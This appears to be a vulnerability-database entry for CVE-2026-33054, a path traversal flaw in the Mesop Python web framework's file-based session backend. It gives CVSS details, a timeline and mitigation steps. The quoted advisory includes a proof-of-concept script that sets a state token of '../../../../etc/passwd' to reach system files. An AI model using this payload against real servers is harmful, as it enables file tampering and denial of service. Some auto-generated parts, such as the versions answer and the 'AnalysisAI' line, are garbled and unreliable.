What is the CVSS score of CVE-2026-33054?

CVE-2026-33054 has a CVSS 3.1 base score of 10.0 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.1%.

Which versions of Python are affected by CVE-2026-33054?

A critical vulnerability in the Mesop Python web framework exposes any organization using this library to complete system compromise without requiring authentication.. A patch is available.

How to fix or mitigate CVE-2026-33054?

Within 24 hours: Inventory all systems and applications using the Mesop pip package; isolate affected systems from production networks if critical. Within 7 days: Implement network segmentation to restrict Mesop application access; deploy WAF rules to block path traversal patterns; disable FileStateSessionBackend if alternative session backends are available. Within 30 days: Migrate to alternative web frameworks; establish vendor communication for patch timeline; conduct forensic review of server access logs for exploitation indicators.

Python CVE-2026-33054

CRITICAL

Path Traversal (CWE-22)

2026-03-18 https://github.com/mesop-dev/mesop

GHSA-8qvf-mr4w-9x2c

Microsoft Path Traversal Denial Of Service Python Windows

10.0

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

10.0 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch released

Mar 31, 2026 - 21:13 nvd

Patch available

Analysis Generated

Mar 18, 2026 - 20:15 vuln.today

CVE Published

Mar 18, 2026 - 20:01 nvd

CRITICAL 10.0

DescriptionGitHub Advisory

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

python

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

python

import requests
import mesop.protos.ui_pb2 as pb
# Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

AnalysisAI

A path traversal vulnerability in A Path Traversal vulnerability (CVSS 10.0). Critical severity with potential for significant impact on affected systems.